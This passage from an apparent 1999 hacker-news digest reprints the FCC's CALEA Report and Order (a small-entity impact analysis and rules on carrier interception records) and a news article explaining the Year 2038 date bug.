Commission uses the term ``small incumbent LECs'' to refer to any
incumbent LECs that arguably might be defined by SBA as ``small
business concerns.''
22. Total Number of Telephone Companies Affected. Many of the
decisions and rules adopted in the R&O may have a significant effect on
a substantial number of the small telephone companies identified by
SBA. The United States Bureau of the Census (``the Census Bureau'')
reports that, at the end of 1992, there were 3,497 firms engaged in
providing telephone services, as defined therein, for at least one
year.<SUP>8</SUP> This number contains a variety of different
categories of carriers, including local exchange carriers,
interexchange carriers, competitive access providers, cellular
carriers, mobile service carriers, operator service providers, pay
telephone operators, PCS providers, covered SMR providers, and
resellers. It seems certain that some of those 3,497 telephone service
firms may not qualify as small entities or small incumbent LECs because
they are not ``independently owned and operated.'' <SUP>9</SUP> For
example, a PCS provider that is affiliated with an interexchange
carrier having more than 1,500 employees would not meet the definition
of a small business. It seems reasonable to conclude, therefore, that
fewer than 3,497 telephone service firms are small entity telephone
service firms or small incumbent LECs that may be affected by this
Report and Order.
---------------------------------------------------------------------------
\8\ United States Department of Commerce, Bureau of the Census,
1992 Census of Transportation, Communications, and Utilities:
Establishment and Firm Size, at Firm Size 1-123 (1995) (1992
Census).
\9\ 15 U.S.C. 632(a)(1).
---------------------------------------------------------------------------
23. Wireline Carriers and Service Providers. SBA has developed a
definition of small entities for telephone communications companies
other than radiotelephone (wireless) companies. The Census Bureau
reports that, there were 2,321 such telephone companies in operation
for at least one year at the end of 1992. According to SBA's
definition, a small business telephone company other than a
radiotelephone company is one employing fewer than 1,500 persons. All
but 26 of the 2,321 non-radiotelephone companies listed by the Census
Bureau were reported to have fewer than 1,000 employees. Thus, even if
all 26 of those companies had more than 1,500 employees, there would
still be 2,295 non-radiotelephone companies that might qualify as small
entities or small incumbent LECs. Although it seems certain that some
of these carriers are not independently owned and operated, we are
unable at this time to estimate with greater precision the number of
wireline carriers and service providers that would qualify as small
business concerns under SBA's definition. Consequently, we estimate
that there are fewer than 2,295 small entity telephone communications
companies other than radiotelephone companies that may be affected by
the decisions and rules adopted in this Report and Order.
24. Local Exchange Carriers. Neither the Commission nor SBA has
developed a definition of small providers of local exchange services
(LECs). The closest applicable definition under SBA rules is for
telephone communications companies other than radiotelephone (wireless)
companies. The most reliable source of information regarding the number
of LECs nationwide of which the Commission is aware appears to be the
data that we collect annually in connection with the Telecommunications
Relay Service (TRS). According to the most recent data, 1,347 companies
reported that they were engaged in the provision of local exchange
services.<SUP>10</SUP> Although it seems certain that some of these
carriers are not independently owned and operated, or have more than
1,500 employees, The Commission is unable at this time to estimate with
greater precision the number of LECs that would qualify as small
business concerns under SBA's definition. Consequently, the Commission
estimates that there are fewer than 1,347 small incumbent LECs that may
be affected by the decisions and rules adopted in this Report and
Order.
---------------------------------------------------------------------------
\10\ Federal Communications Commission, CCB, Industry Analysis
Division, Telecommunications Industry Revenue: TRS Fund Worksheet
Data, Tbl. 1 (Average Total Telecommunications Revenue Reported by
Class of Carrier) (Dec. 1996) (TRS Worksheet).
---------------------------------------------------------------------------
25. Interexchange Carriers. Neither the Commission nor SBA has
developed a definition of small entities specifically applicable to
providers of interexchange services (IXCs). The closest applicable
definition under SBA rules is for telephone communications companies
other than radiotelephone (wireless) companies. The most reliable
source of information regarding the number of IXCs nationwide of which
the Commission is aware appears to be the data collected annually in
connection with the TRS Worksheet. According to the most recent data,
130 companies reported that they were engaged in the provision of
interexchange services. Although it seems certain that some of these
carriers are not independently owned and operated, or have more than
1,500 employees, the Commission is unable at this time to estimate with
greater precision the number of IXCs that would qualify as small
business concerns under SBA's definition. Consequently, the Commission
estimates that there are fewer than 130 small entity IXCs that may be
affected by the decisions and rules adopted in this Report and Order.
26. Competitive Access Providers. Neither the Commission nor SBA
has developed a definition of small entities specifically applicable to
providers of competitive access services (CAPs). The closest applicable
definition under SBA rules is for telephone communications companies
other than radiotelephone (wireless) companies. The most reliable
source of information regarding the number of CAPs nationwide of which
the Commission is aware appears to be the data that we collect annually
in connection with the TRS Worksheet. According to the most recent
data, 57 companies reported that they were engaged in the provision of
competitive access services. Although it seems certain that some of
these carriers are not independently owned and operated, or have more
than 1,500 employees, the Commission is unable at this time to estimate
with greater precision the number of CAPs that would qualify as small
business concerns under SBA's definition. Consequently, the Commission
estimates that there are fewer than 57 small entity CAPs that may be
affected by the decisions and rules adopted in this Report and Order.
[[Page 51466]]
27. Operator Service Providers. Neither the Commission nor SBA has
developed a definition of small entities specifically applicable to
providers of operator services. The closest applicable definition under
SBA rules is for telephone communications companies other than
radiotelephone (wireless) companies. The most reliable source of
information regarding the number of operator service providers
nationwide of which the Commission is aware appears to be the data
collected annually in connection with the TRS Worksheet. According to
the most recent data, 25 companies reported that they were engaged in
the provision of operator services. Although it seems certain that some
of these companies are not independently owned and operated, or have
more than 1,500 employees, the Commission is unable at this time to
estimate with greater precision the number of operator service
providers that would qualify as small business concerns under SBA's
definition. Consequently, the Commission estimates that there are fewer
than 25 small entity operator service providers that may be affected by
the decisions and rules adopted in this Report and Order.
28. Wireless (Radiotelephone) Carriers. SBA has developed a
definition of small entities for radiotelephone (wireless) companies.
The Census Bureau reports that there were 1,176 such companies in
operation for at least one year at the end of 1992. According to SBA's
definition, a small business radiotelephone company is one employing
fewer than 1,500 persons.<SUP>11</SUP> The Census Bureau also reported
that 1,164 of those radiotelephone companies had fewer than 1,000
employees. Thus, even if all of the remaining 12 companies had more
than 1,500 employees, there would still be 1,164 radiotelephone
companies that might qualify as small entities if they are
independently owned are operated. Although it seems certain that some
of these carriers are not independently owned and operated, the
Commission is unable at this time to estimate with greater precision
the number of radiotelephone carriers and service providers that would
qualify as small business concerns under SBA's definition.
Consequently, the Commission estimates that there are fewer than 1,164
small entity radiotelephone companies that may be affected by the
decisions and rules adopted in this Report and Order.
---------------------------------------------------------------------------
\11\ 13 CFR 121.201, Standard Industrial Classification (SIC)
Code 4812.
---------------------------------------------------------------------------
29. Cellular Service Carriers. Neither the Commission nor the SBA
has developed a definition of small entities specifically applicable to
Cellular Service Carriers and to Mobile Service Carriers. The closest
applicable definition under SBA rules for both services is for
telephone companies other than radiotelephone (wireless) companies. The
most reliable source of information regarding the number of Cellular
Service Carriers and Mobile Service Carriers nationwide of which the
Commission is aware appears to be the data collected annually in
connection with the TRS Worksheet. According to the most recent data,
792 companies reported that they are engaged in the provision of
cellular services. Although it seems certain that some of these
carriers are not independently owned and operated, or have more than
1,500 employees, the Commission is unable at this time to estimate with
greater precision the number of cellular service carriers that would
qualify as small business concerns under SBA's definition.
Consequently, the Commission estimates that there are fewer than 792
small entity cellular service carriers that might be affected by the
actions and rules adopted in this Report and Order.
30. Mobile Service Carriers. Neither the Commission or the SBA has
developed a definition of small entities specifically applicable to
mobile service carriers, such as paging companies. The closest
applicable definition under SBA rules is for radiotelephone (wireless)
companies. The most reliable source of information regarding the number
of mobile service carriers nationwide of which the Commission is aware
appears to be the data collected annually in connection with the TRS
Worksheet. According to the most recent data, 138 companies reported
that they were engaged in the provision of mobile services. Although it
seems certain that some of these carriers are not independently owned
and operated, or have more than 1,500 employees, the Commission is
unable at this time to estimate with greater precision the number of
mobile service carriers that would qualify under SBA's definition.
Consequently, the Commission estimates that there are fewer than 138
small entity mobile service carriers that may be affected by the
decision and rules adopted in this Report and Order.
31. Broadband Personal Communications Service. The broadband PCS
spectrum is divided into six frequency blocks designated A through F,
and the Commission has held auctions for each block. The Commission
defined ``small entity'' for Blocks C and F as an entity that has
average gross revenues of less than $40 million in the three previous
calendar years. For Block F, an additional classification for ``very
small business'' was added, and is defined as an entity that, together
with its affiliates, has average gross revenues of not more than $15
million for the preceding three calendar years. These regulations
defining ``small entity'' in the context of broadband PCS auctions have
been approved by SBA. No small businesses within the SBA-approved
definition bid successfully for licenses in Blocks A and B. There were
90 winning bidders that qualified as small entities in the Block C
auctions. A total of 93 small and very small business bidders won
approximately 40% of the 1,479 licenses for Blocks D, E, and F.
However, licenses for Blocks C through F have not been awarded fully,
therefore there are few, if any, small businesses currently providing
PCS services. Based on this information, the Commission concludes that
the number of small broadband PCS licenses will include the 90 winning
C Block bidders and the 93 qualifying bidders in the D, E, and F
blocks, for a total of 183 small PCS providers as defined by the SBA
and the Commission's auction rules.
32. SMR Licensees. Pursuant to 47 CFR 90.814(b)(1), the Commission
has defined ``small entity'' in auctions for geographic area 800 MHz
and 900 MHz SMR licenses as a firm that had average annual gross
revenues of less than $15 million in the three previous calendar years.
This definition of a ``small entity'' in the context of 800 MHz and 900
MHz SMR has been approved by the SBA. The rules adopted in this Report
and Order may apply to SMR providers in the 800 MHz and 900 MHz bands
that either hold geographic area licenses or have obtained extended
implementation authorizations. The Commission does not know how many
firms provide 800 MHz or 900 MHz geographic area SMR service pursuant
to extended implementation authorizations, nor how many of these
providers have annual revenues of less than $15 million. The Commission
assumes, for purposes of this FRFA, that all of the extended
implementation authorizations may be held by small entities, which may
be affected by the decisions and rules adopted in this Report and
Order.
33. The Commission recently held auctions for geographic area
licenses in the 900 MHz SMR band. There were 60 winning bidders who
qualified as small entities in the 900 MHz auction. Based on this
information, the Commission concludes that the number of geographic
area SMR licensees affected
[[Page 51467]]
by the rule adopted in this Report and Order includes these 60 small
entities. No auctions have been held for 800 MHz geographic area SMR
licenses. Therefore, no small entities currently hold these licenses. A
total of 525 licenses will be awarded for the upper 200 channels in the
800 MHz geographic area SMR auction. The Commission, however, has not
yet determined how many licenses will be awarded for the lower 230
channels in the 800 MHz geographic area SMR auction. There is no basis,
moreover, on which to estimate how many small entities will win these
licenses. Given that nearly all radiotelephone companies have fewer
than 1,000 employees and that no reliable estimate of the number of
prospective 800 MHz licensees can be made, we assume, for purposes of
this FRFA, that all of the licenses may be awarded to small entities
who, thus, may be affected by the decisions adopted in this Report and
Order.
34. Resellers. Neither the Commission nor SBA has developed a
definition of small entities specifically applicable to resellers. The
closest applicable definition under SBA rules is for all telephone
communications companies. The most reliable source of information
regarding the number of resellers nationwide of which the Commission is
aware appears to be the data collected annually in connection with the
TRS. According to the most recent data, 260 companies reported that
they were engaged in the resale of telephone services. Although it
seems certain that some of these carriers are not independently owned
and operated, or have more than 1,500 employees, the Commission is
unable at this time to estimate with greater precision the number of
resellers that would qualify as small business concerns under SBA's
definition. Consequently, the Commission estimates that there are fewer
than 260 small entity resellers that may be affected by the decisions
and rules adopted in this Report and Order.
35. Pay Telephone Operators. Neither the Commission nor the SBA has
developed a definition of small entities specifically applicable to pay
telephone operators. The closest applicable definition under SBA rules
is for telephone communications companies other than radiotelephone
(wireless) companies. The most reliable source of information regarding
the number of pay telephone operators nationwide of which the
Commission is aware appears to be the data collected annually with the
TRS Worksheet. According to the most recent data, 271 companies
reported that they were engaged in the provision of pay telephone
services. Although it seems certain that some of these carriers are not
independently owned and operated, or have more than 1,500 employees,
the Commission is unable at this time to estimate with greater
precision the number of pay telephone operators that would qualify as
small business concerns under SBA's definition. Consequently, the
Commission estimates that there are fewer than 271 small entity pay
telephone operators that may be affected by the decisions and rules
adopted in this Report and Order.
36. Cable Services or Systems. SBA has developed a definition of
small entities for cable and other pay television services, which
includes all such companies generating $11 million or less in revenue
annually.<SUP>12</SUP> This definition includes cable systems
operators, closed circuit television services, direct broadcast
satellite services, multipoint distribution systems, satellite master
antenna systems and subscription television services. According to the
Census Bureau, there were 1,788 such cable and other pay television
services and 1,439 had less than $11 million in revenues.<SUP>13</SUP>
---------------------------------------------------------------------------
\12\ 13 CFR 121.201, SIC Code 4841.
\13\ 1992 Economic Census Industry and Enterprise Receipts Size
Report, Table 2D, SIC 4841 (U.S. Bureau of the Census data under
contract to the Office of Advocacy of the U.S. Small Business
Administration).
---------------------------------------------------------------------------
37. The Commission has developed its own definition of a small
cable system operator for the purposes of rate regulation. Under the
Commission's Rules, a ``small cable company'' is one serving fewer than
400,000 subscribers nationwide.<SUP>14</SUP> Based on the most recent
information, the Commission estimates that there were 1,439 cable
operators that qualified as small cable system operators at the end of
1995. Since then, some of those companies may have grown to serve over
400,000 subscribers, and others may have been involved in transactions
that caused them to be combined with other cable operators.
Consequently, the Commission estimates that there are fewer than 1,439
small entity cable system operators that may be affected by the
decisions and rules adopted in this Report and Order.
---------------------------------------------------------------------------
\14\ 47 CFR 76.901(e).
---------------------------------------------------------------------------
38. The Communications Act also contains a definition of a small
cable system operator, which is ``a cable operator that, directly or
through an affiliate, serves in the aggregate fewer than 1 percent of
all subscribers in the United States and is not affiliated with any
entity or entities whose gross annual revenues in the aggregate exceed
$250,000,000.'' <SUP>15</SUP> The Commission has determined that there
are 61,700,000 subscribers in the United States. Therefore, the
Commission found that an operator serving fewer than 617,000
subscribers shall be deemed a small operator if its annual revenues,
when combined with the total annual revenues of all of its affiliates,
do not exceed $250 million in the aggregate.<SUP>16</SUP> Based on
available data, the Commission finds that the number of cable operators
serving 617,000 subscribers or less totals 1,450. The Commission does
not request nor do we collect information concerning whether cable
system operators are affiliated with entities whose gross annual
revenues exceed $250,000,000, and thus are unable at this time to
estimate with greater precision the number of cable system operators
that would qualify as small cable operators under the definition in the
Communications Act. The Commission further notes that recent industry
estimates project that there will be a total of 65,000,000 subscribers,
and the Commission has based our fee revenue estimates on that figure.
---------------------------------------------------------------------------
\15\ 47 U.S.C. 543(m)(2).
\16\ 47 CFR 76.1403(b).
---------------------------------------------------------------------------
39. Other Pay Services. In the IRFA, the Commission included a
category entitled ``other pay services.'' Other pay services are also
classified under SIC 4841, which include cable operators, closed
circuit television services, direct broadcast satellite services (DBS),
multipoint distribution systems (MDS), satellite master antenna systems
(SMATV), and subscription television services. The Commission received
no comments regarding service providers in this category in response to
either the IRFA or the NPRM at large. Accordingly, the Commission
cannot determine at this time the number of service providers in this
category that intend to offer services to the public as
telecommunications carriers, and become subject to CALEA's
requirements.
(4) Summary Analysis of the Projected Reporting, Recordkeeping and
Other Compliance Requirements and Steps Taken to Minimize the
Significant Economic Impact of this Report and Order on Small Entities,
Including Significant Alternatives Considered and Rejected.
40. In this section of the FRFA, the Commission analyzes the
projected reporting, recordkeeping, and other compliance requirements
that may apply to small entities as a result of this Report and Order.
The Commission also
[[Page 51468]]
describes the steps taken to minimize the economic impact of our
decisions on small entities, including the significant alternatives
considered and rejected.
41. In the final regulations, the Commission affirms the proposal
in the NPRM to establish regulations that are general in nature and
provide as guidance, so that telecommunications carriers may utilize
their existing policies and procedures to the greatest extent possible.
In addition, the Commission eliminated all references to proposed rules
and tentative conclusions relating to vicarious liability arising out
of a telecommunications carrier's failure to accomplish either of CALEA
section 105's two objectives.
42. In the final regulations, the Commission eliminated all
regulations originally proposed pursuant to 47 U.S.C. 229(b)(1) that
appeared to go beyond the scope of CALEA section 105, overlapped other
proposed regulations, were unnecessarily cumbersome, or otherwise
unnecessary. Accordingly, carriers must: (1) Appoint a senior officer
or employee as point of contact responsible for affirmatively
intervening to ensure that interception of communications or access to
call-identifying information can be activated only in accordance with
the appropriate legal authorization; (2) include a description of the
job function of the appointed point of contact for law enforcement to
reach on a daily, around-the-clock basis in their policies and
procedures; (3) effectuate a requested interception promptly; (4)
incorporate our interpretation of the phrase ``appropriate
authorization'' in their policies and procedures; (5) state in their
policies and procedures that carrier personnel must receive appropriate
legal authorization, before enabling law enforcement officials to
implement the interception of communications or access to call-
identifying information; (6) require the appointed senior point of
contact to be apprised of all relevant federal and state statutory
provisions concerning the lawful interception of communications or
access to call-identifying information; (7) report security compromises
and unlawful interception of communications or access to call-
identifying information to the appropriate law enforcement authorities
within a reasonable length of time after discovery; (8) maintain a
secure and accurate record of each interception of communications or
access to call-identifying information, made with or without
appropriate authorization, in the form of single certification; (9)
maintain secure and records of call-identifying information and
unauthorized interceptions (including the content of the unauthorized
interception) for ten years; <SUP>17</SUP> 10) maintain secure and
accurate records of the content of each authorized interception of
communications for a period of time determined by them in accordance
with the policies and procedures that they establish under section
229(b)(1) of the Communications Act and applicable state and federal
statutes of limitation; (11) provide a detailed description of how long
it will maintain its records of intercept content; and (12) file with
the Commission, within 90 days of the effective date of these rules,
the policies and procedures it uses to comply with the requirements of
this subchapter, and thereafter, within 90 days of a carrier's merger
or divestiture or a carrier's amendment of its existing policies and
procedures.
---------------------------------------------------------------------------
\17\ See footnote 4 of this summary.
---------------------------------------------------------------------------
43. The Commission eliminated the requirement of ``designated
employees,'' and the requirement for telecommunications carriers to
provide updated lists of designated employees that included personal
information about them, to law enforcement agencies. Instead,
telecommunications carriers, as part of their policies and procedures,
should only appoint a senior authorized officer or employee as a point
of contact for law enforcement to reach on a daily, around-the-clock
basis. Telecommunications carriers will include a description of the
job function of the designated point of contact and a method to enable
law enforcement authorities to contact the individual employed in this
capacity in their polices and procedures.
44. The Commission eliminated the proposed regulation requiring a
separate affidavit and a separate record for each surveillance.
Instead, the final regulation requires that telecommunications carriers
compile and maintain a single record of each intercepted communications
or access to call-identifying information, certified by a carrier
employee in charge of that electronic surveillance, that contains the
following information: (1) The telephone number(s) and/or circuit
identification number(s) involved; (2) the start date and time of the
opening of the circuit for law enforcement; (3) the identity of the law
enforcement officer presenting the authorization; (4) the name of the
judge or prosecuting attorney who signed the authorization; (5) the
type of intercepted communications or access to call-identifying
information; (6) the name(s) of the telecommunications carriers'
personnel who are responsible for overseeing the interception of
communications or access to call-identifying information and who are
acting in accordance with the carriers' policies and procedures
established under 47 U.S.C. 229(b)(1). This record shall be signed by
the individual who is responsible for overseeing the interception of
communications or access to call-identifying information and who is
acting in accordance with the carriers' policies and procedures
established under 47 U.S.C. 229(b)(1). To avoid duplicating the
existing ten year record retention requirement for records of
authorized interception content in 18 U.S.C. 2518(8)(a), the Commission
allows telecommunications carriers to retain records of the content of
authorized interceptions for a period of time that they find reasonably
necessary. However, because 18 U.S.C. 2518(8)(a) does not encompass
records of call-identifying information and records of unauthorized
interceptions, the Commission requires carriers to maintain secure and
records of call-identifying information and unauthorized interceptions
(including the content of the unauthorized interception) for ten
years.<SUP>18</SUP>
---------------------------------------------------------------------------
\18\ See Order on Reconsideration which revises this regulation,
and which will be published shortly in the Federal Register.
---------------------------------------------------------------------------
In the final regulations, the Commission did not affirm our
proposal to provide a lessened reporting requirement for carriers that
fell below the gross annual revenue threshold established in 47 CFR
32.9000 of the Commission's Rules. The Commission concludes that 47
U.S.C. 229(b)(3) requires all telecommunications carriers to submit
their policies and procedures to the Commission established under 47
U.S.C. 229(b)(1) and (2). The statute makes no distinction between
classes of telecommunications carriers for the purpose of lessening the
regulatory burden for smaller carriers. Accordingly, the Commission's
final regulations contain the requirement that all telecommunications
carriers must file their systems security and integrity policies and
procedures with the Commission, within 90 days of this Report and
Order's effective date. The Commission notes, however, that since the
proposed regulations have been drastically reduced, the burden imposed
by the regulations adopted herein is also significantly reduced for all
telecommunications carriers, including the smaller ones.
[[Page 51469]]
(5) Report to Congress
46. The Commission shall send a copy of this FRFA, along with this
Report and Order, in a report to Congress pursuant to the Small
Business Regulatory Enforcement Fairness Act of 1996, 5 U.S.C.
801(a)(1)(A). A copy of this FRFA will also be published in the Federal
Register.
Ordering Clauses
47. Accordingly, it is ordered that, pursuant to sections 4(i),
4(j), and 229 of the Communications Act of 1934, as amended, 47 U.S.C.
154(i), 154(j), and 229, and section 105 of the Communications
Assistance for Law Enforcement Act, 47 U.S.C. 1004, the rules are
adopted.
48. It is further ordered that the rules will become effective
December 22, 1999 except for Secs. 64.2103, 64.2104, and 64.2105, which
contain information collection requirements that have not been approved
by the Office of Management and Budget. The FCC will publish a document
in the Federal Register announcing the effective date for those
sections.
49. It is further ordered that the Regulatory Flexibility Analysis,
as required by Section 604 of the Regulatory Flexibility Act, and as
set forth above is adopted.
50. It is further ordered that the Commission's Office of Public
Affairs, Reference Operations Division, shall send a copy of this
Report and Order, including the Final Regulatory Flexibility Analysis,
to the Chief Counsel for Advocacy of the Small Business Administration.
Paperwork Reduction Act
52. This Report and Order contains a modified information
collection. The Commission, as part of its continuing effort to reduce
paperwork burdens, invites the general public and the Office of
Management and Budget (OMB) to comment on the information collections
contained in this Report and Order, as required by the Paperwork
Reduction Act of 1995, Public Law 104-13. Public and agency comments
are due November 22, 1999; OMB comments are due 90 days from date of
publication of this Report and Order in the Federal Register. Comments
should address: (a) whether the proposed collection of information is
necessary for the proper performance of the functions of the
Commission, including whether the information shall have practical
utility; (b) the accuracy of the Commission's burden estimates; (c)
ways to enhance the quality, utility, and clarity of the information
collected; and (d) ways to minimize the burden of the collection of
information on the respondents, including the use of automated
collection techniques or other forms of information technology.
OMB Approval Number: 3060-0809.
Title: Communications Assistance for Law Enforcement Act, Report
and Order.
Form No.: N/A.
Type of Review: Revision of existing collection.
Respondents: Business or other for profit.
Number of Respondents: 5000.
Estimated Time Per Response: 53 hours.
Total Annual Cost Burden: $11,850,000.
Total Annual Burden: 265,000 hours.
Needs and Uses: The information submitted to the Commission by
telecommunications Carriers will be used to determine whether or not
the telecommunications carriers are in conformance with CALEA's
requirements, and the information maintained by telecommunications
carriers will be used by law enforcement officials to determine the
accountability and accuracy of telecommunications carriers' compliance
with lawful electronic surveillance orders.
List of Subjects in 47 CFR Part 64
Communications common carriers, Reporting and recordkeeping
requirements.
Federal Communications Commission.
Magalie Roman Salas,
Secretary.
Rule Changes
For the resaons discussed in the preamble, the Federal
Communications Commission amends 47 CFR Part 64 as follows:
PART 64--MISCELLANEOUS RULES RELATING TO COMMON CARRIERS
1. The authority citation for Part 64 is revised to read as
follows:
Authority: 47 U.S.C. 151, 154, 201, 202, 205, 218-220, and 332
unless otherwise noted. Interpret or apply Secs. 201, 218, 225, 226,
227, 229, 332, 48 Stat. 1070, as amended. 47 U.S.C. 201-204, 218,
225, 226, 227, 229, 332, 501 and 503 unless otherwise noted.
2. Part 64 is amended to add Subpart V to read as follows:
Subpart V--Telecommunications Carrier Systems Security and
Integrity Pursuant to the Communications Assistance for Law
Enforcement Act (CALEA)
Sec.
64.2100 Purpose.
64.2101 Scope.
64.2102 Definitions.
64.2103 Policies and procedures for employee supervision and
control.
64.2104 Maintaining secure and accurate records.
64.2105 Submission of policies and procedures and commission
review.
64.2106 Penalties.
Sec. 64.2100 Purpose.
Pursuant to the Communications Assistance for Law Enforcement Act,
Public Law 103-414, 108 Stat. 4279 (1994) (codified as amended in
sections of 18 U.S.C. and 47 U.S.C.), this subpart contains rules that
require a telecommunications carrier to ensure that any interception of
communications or access to call-identifying information effected
within its switching premises can be activated only in accordance with
appropriate legal authorization, appropriate carrier authorization, and
with the affirmative intervention of an individual officer or employee
of the carrier acting in accordance with regulations prescribed by the
Commission.
Sec. 64.2101 Scope.
The definitions included in this subchapter shall be used solely
for the purpose of implementing CALEA requirements.
Sec. 64.2102 Definitions.
(a) Appropriate legal authorization. The term appropriate legal
authorization means:
(1) A court order signed by a judge or magistrate authorizing or
approving interception of wire or electronic communications; or
(2) Other authorization, pursuant to 18 U.S.C. 2518(7), or any
other relevant federal or state statute.
(b) Appropriate carrier authorization. The term appropriate carrier
authorization means the policies and procedures adopted by
telecommunications carriers to supervise and control officers and
employees authorized to assist law enforcement in conducting any
interception of communications or access to call-identifying
information.
(c) Appropriate authorization. The term appropriate authorization
means both appropriate legal authorization and appropriate carrier
authorization.
[[Page 51470]]
Sec. 64.2103 Policies and procedures for employee supervision and
control.
A telecommunications carrier shall:
(a) Establish policies and procedures to ensure the supervision and
control of its officers and employees;
(b) Appoint a senior officer or employee as a point of contact
responsible for affirmatively intervening to ensure that interception
of communications or access to call-identifying information can be
activated only in accordance with appropriate legal authorization, and
include, in its policies and procedures, a description of the job
function of the appointed point of contact for law enforcement to reach
on a seven days a week, 24 hours a day basis;
(c) Incorporate, in its polices and procedures, an interpretation
of the phrase appropriate authorization that encompasses the
definitions of appropriate legal authorization and appropriate carrier
authorization, as stated above;
(d) State, in its policies and procedures, that carrier personnel
must receive appropriate legal authorization and appropriate carrier
authorization before enabling law enforcement officials and carrier
personnel to implement the interception of communications or access to
call-identifying information;
(e) Report to the affected law enforcement agencies, within a
reasonable time upon discovery:
(1) Any act of compromise of a lawful interception of
communications or access to call-identifying information to
unauthorized persons or entities; and
(2) Any act of unlawful electronic surveillance that occurred on
its premises.
(f) Include, in its policies and procedures, a detailed description
of how long it will maintain its records of the content of an
interception.
Sec. 64.2104 Maintaining secure and accurate records.
(a) A telecommunications carrier shall maintain a secure and
accurate record of each interception of communications or access to
call-identifying information, made with or without appropriate
authorization, in the form of single certification.
(1) This certification must include, at a minimum, the following
information:
(i) The telephone number(s) and/or circuit identification numbers
involved;
(ii) The start date and time of the opening of the circuit for law
enforcement;
(iii) The identity of the law enforcement officer presenting the
authorization;
(iv) The name of the person signing the appropriate legal
authorization;
(v) The type of interception of communications or access to call-
identifying information (e.g., pen register, trap and trace, Title III,
FISA); and
(vi) The name of the telecommunications carriers' personnel who is
responsible for overseeing the interception of communication or access
to call-identifying information and who is acting in accordance with
the carriers' policies established under Sec. 64.2103.
(2) This certification must be signed by the individual who is
responsible for overseeing the interception of communications or access
to call-identifying information and who is acting in accordance with
the telecommunications carrier's policies established under
Sec. 64.2103. This individual will, by his/her signature, certify that
the record is complete and accurate.
(3) This certification must be compiled either contemporaneously
with, or within a reasonable period of time after the initiation of the
interception of the communications or access to call-identifying
information.
(4) A telecommunications carrier may satisfy the obligations of
paragraph (a) of this section by requiring the individual who is
responsible for overseeing the interception of communication or access
to call-identifying information and who is acting in accordance with
the carriers' policies established under Sec. 64.2103 to sign the
certification and append the appropriate legal authorization and any
extensions that have been granted. This form of certification must at a
minimum include all of the information listed in paragraph (a) of this
section.
(b) A telecommunications carrier shall maintain secure and accurate
records of:
(1) Call-identifying information and unauthorized interceptions
(including the content of the unauthorized interception) for ten years;
(2) The content of each authorized interception of communications
for a reasonable period of time as determined by the carrier.
(c) It is the telecommunications carrier's responsibility to ensure
its records are complete and accurate.
(d) Violation of this rule is subject to the penalties of
Sec. 64.2106.
Sec. 64.2105 Submission of policies and procedures and commission
review.
(a) Each telecommunications carrier shall file with the Commission
the policies and procedures it uses to comply with the requirements of
this subchapter. These policies and procedures shall be filed with the
Federal Communications Commission within 90 days of the effective date
of these rules, and thereafter, within 90 days of a carrier's merger or
divestiture or a carrier's amendment of its existing policies and
procedures.
(b) The Commission shall review each telecommunications carrier's
policies and procedures to determine whether they comply with the
requirements of Sec. 64.2103 and Sec. 64.2104.
(1) If, upon review, the Commission determines that a
telecommunications carrier's policies and procedures do not comply with
the requirements established under Sec. 64.2103 and Sec. 64.2104, the
telecommunications carrier shall modify its policies and procedures in
accordance with an order released by the Commission.
(2) The Commission shall review and order modification of a
telecommunications carrier's policies and procedures as may be
necessary to insure compliance by telecommunications carriers with the
requirements of the regulations prescribed under Sec. 64.2103 and
Sec. 64.2104.
Sec. 64.2106 Penalties.
In the event of a telecommunications carrier's violation of
Sec. 64.2103 or Sec. 64.2104 of this subchapter, the Commission shall
enforce the penalties articulated in 47 U.S.C. 503(b) of the
Communications Act of 1934 and 47 CFR 1.8.
[FR Doc. 99-24853 Filed 9-22-99; 8:45 am]
BILLING CODE 6712-01-P
@HWA
85.0 Year 2000? How About 2038?
~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by no0ne
Everyone's been talking and dealing with the Y2K
problem. On the sidelines awaits a new, probably easier
to handle, computer date problem. The Year 2038 Bug
can cause problems for computer applications written in
C Language when the date hits January 18-19, 2038.
This is in relation to "time.h", C's standard time library
routine, which uses a 4-byte format to store time
values and other functions to manipulate them.
Times Computing
http://www.timescomputing.com/19990922/nws2.html
September 22, 1999
Get ready for the year 2038
bug
Ganesh Ramamoorthy
You've heard about the year 2000 (Y2K) problem--everyone,
everywhere talks about it these days. You've heard people
making doomsday predictions that there is no escape from
it, and that the whole world economy could come crumbling
down. You are concerned, like everyone else, and are
hoping that the bug is fixed soon. But just as companies
world over are toiling to address all Y2K related issues, and
trying to put an end to all date-related problems, a new date
bug is all set to surface, though not expected to be quite as
troublesome as the Year 2000 bug.
Welcome to the Year 2038 problem--wherein some
computer applications could start malfunctioning when the
date rolls over from January 18, 2038 to January 19, 2038.
Intrigued? Here is how it happens:
The Year 2038 problem is expected to affect programs
written in the C language. C programs use a library of small
little programs known as routines. The Year 2038 problem
arises because of the standard time library routine called
"time.h". This library uses a 4-byte format to store time
values and a number of other functions to manipulate and
display them.
Now, the 4-byte format assumes a value of 0 (zero) for the
time beginning at 12:00:00 AM on January 1, 1970. All time
and date values are expressed as the number of seconds
following this zero value. So the value 938060318 is
938,060,318 seconds past 12:00:00 AM on January 1, 1970,
which is 16:18:38 on Wednesday, September 22, 1999. The
advantage of this format is that the time difference, in
seconds, between any two time values can be obtained by
simply subtracting one from the other. You can then use
functions in the library to manipulate and determine the
number of minutes, hours, days, months, or years that have
passed between the two time values.
But the problem in this format arises because of the way in
which the "bits" and "bytes" work. A 4-byte integer remains
positive until a maximum value of 2,147,483,648 is reached,
and this is where the Year 2038 problem arises. The
maximum value of time before it rolls over to a negative--and
therefore invalid--value is 2,147,483,648. On this date any C
program that uses the standard time library will begin to
experience problems with date calculations.
But there's no cause for panic--it's just another date issue to
be addressed. Fortu-nately, this problem is relatively easier
to tackle and fix than the Year 2000 problem. All that is
required is a new version of the library that uses more bytes
for storing the values i.e. an 8-byte value or a 16-byte value.
Affected programs can then be simply recompiled with the
new version of the library.
Fixing the year 2038 problem should not be as
time-consuming or cost-intensive, assuming companies
update that particular standard time library with the new
version--possibly even as they are fixing current Year 2000
problem. Many would say that the Year 2038 is still a long
way off--but then, haven't we heard that one before....
@HWA
-=----------=- -=----------=- -=----------=- -=----------=-
O
0
o
O O O
0
-=----------=- -=----------=- -=----------=- -=----------=- -=----------=-
END of main news articles content... read on for ads, humour, hacked websites etc
-=----------=- -=----------=- -=----------=- -=----------=- -=----------=-
HWA.hax0r.news
AD.S ADVERTI$ING. The HWA black market ADVERTISEMENT$.
